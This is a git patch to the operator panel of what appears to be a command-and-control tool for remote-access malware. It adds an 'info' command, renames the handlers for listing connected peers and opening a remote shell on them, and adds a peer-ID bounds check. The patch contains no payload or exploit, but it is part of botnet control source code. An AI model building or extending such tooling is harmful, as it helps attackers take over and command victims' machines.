From e2e25f5a49da4fc37c6ef3f7e504609074cd23f7 Mon Sep 17 00:00:00 2001 From: CPunch Date: Fri, 25 Mar 2022 22:11:15 -0500 Subject: [PATCH] Added info command, better sanity check for shellS_getPeer() --- shell/src/main.c | 2 +- shell/src/scmd.c | 30 +++++++++++++++++++++--------- 2 files changed, 22 insertions(+), 10 deletions(-) diff --git a/shell/src/main.c b/shell/src/main.c index 5a4a02b..cc7d8cc 100644 --- a/shell/src/main.c +++ b/shell/src/main.c @@ -13,7 +13,7 @@ int main(int argv, char *argc[]) { bool printPrompt = false; shellT_printf("%s%s\n%s", shellT_getForeColor(TERM_BRIGHT_RED), LOGO, shellT_getForeColor(TERM_BRIGHT_WHITE)); - shellT_printf("\t made with %s<3%s by CPunch - %s\n\n", shellT_getForeColor(TERM_BRIGHT_RED), shellT_getForeColor(TERM_BRIGHT_WHITE), "v" MACROLITSTR(LAIKA_VERSION_MAJOR) "." MACROLITSTR(LAIKA_VERSION_MINOR)); + shellT_printf("\t made with %s<3%s by CPunch - %s\n\nType 'help' for a list of commands\n\n", shellT_getForeColor(TERM_BRIGHT_RED), shellT_getForeColor(TERM_BRIGHT_WHITE), "v" MACROLITSTR(LAIKA_VERSION_MAJOR) "." MACROLITSTR(LAIKA_VERSION_MINOR)); shellC_init(&client); shellC_connectToCNC(&client, "127.0.0.1", "13337"); diff --git a/shell/src/scmd.c b/shell/src/scmd.c index 180a29b..6f52392 100644 --- a/shell/src/scmd.c +++ b/shell/src/scmd.c @@ -20,7 +20,7 @@ jmp_buf cmdE_err; tShell_cmdDef *shellS_findCmd(char *cmd); tShell_peer *shellS_getPeer(tShell_client *client, int id) { - if (id >= client->peerTblCount || client->peerTbl[id] == NULL) + if (id < 0 || id >= client->peerTblCount || client->peerTbl[id] == NULL) CMD_ERROR("Not a valid peer ID! [%d]\n", id); return client->peerTbl[id]; @@ -39,21 +39,33 @@ void quitCMD(tShell_client *client, int args, char *argc[]) { laikaS_kill(&client->peer->sock); } -void listPeers(tShell_client *client, int args, char *argc[]) { +void listPeersCMD(tShell_client *client, int args, char *argc[]) { int i; - shellT_printf("\n"); for (i = 0; i < client->peerTblCount; i++) { if (client->peerTbl[i]) { shellT_printf("%04d ", i); shellP_printInfo(client->peerTbl[i]); - shellT_printf("\n"); } } - shellT_printf("\n"); } -void openShell(tShell_client *client, int args, char *argc[]) { +void infoCMD(tShell_client *client, int args, char *argc[]) { + tShell_peer *peer; + int id; + + if (args < 2) + CMD_ERROR("Usage: info [PEER_ID]\n"); + + id = shellS_readInt(argc[1]); + peer = shellS_getPeer(client, id); + + /* print info */ + shellT_printf("%04d ", id); + shellP_printInfo(peer); +} + +void openShellCMD(tShell_client *client, int args, char *argc[]) { uint8_t buf[LAIKA_SHELL_DATA_MAX_LENGTH]; tShell_peer *peer; int id, sz, cols, rows; @@ -100,8 +112,9 @@ void openShell(tShell_client *client, int args, char *argc[]) { tShell_cmdDef shellS_cmds[] = { CREATECMD("help", "Lists avaliable commands", helpCMD), CREATECMD("quit", "Disconnects from CNC, closing panel", quitCMD), - CREATECMD("list", "Lists all connected peers to CNC", listPeers), - CREATECMD("shell", "Opens a shell on peer", openShell), + CREATECMD("list", "Lists all connected peers to CNC", listPeersCMD), + CREATECMD("info", "Lists info on a peer", infoCMD), + CREATECMD("shell", "Opens a shell on peer", openShellCMD), }; #undef CREATECMD @@ -174,7 +187,6 @@ void shellS_runCmd(tShell_client *client, char *cmd) { if (setjmp(cmdE_err) == 0) { cmdDef->callback(client, args, argc); } - shellT_printf("\n"); /* free our argument buffer */ laikaM_free(argc);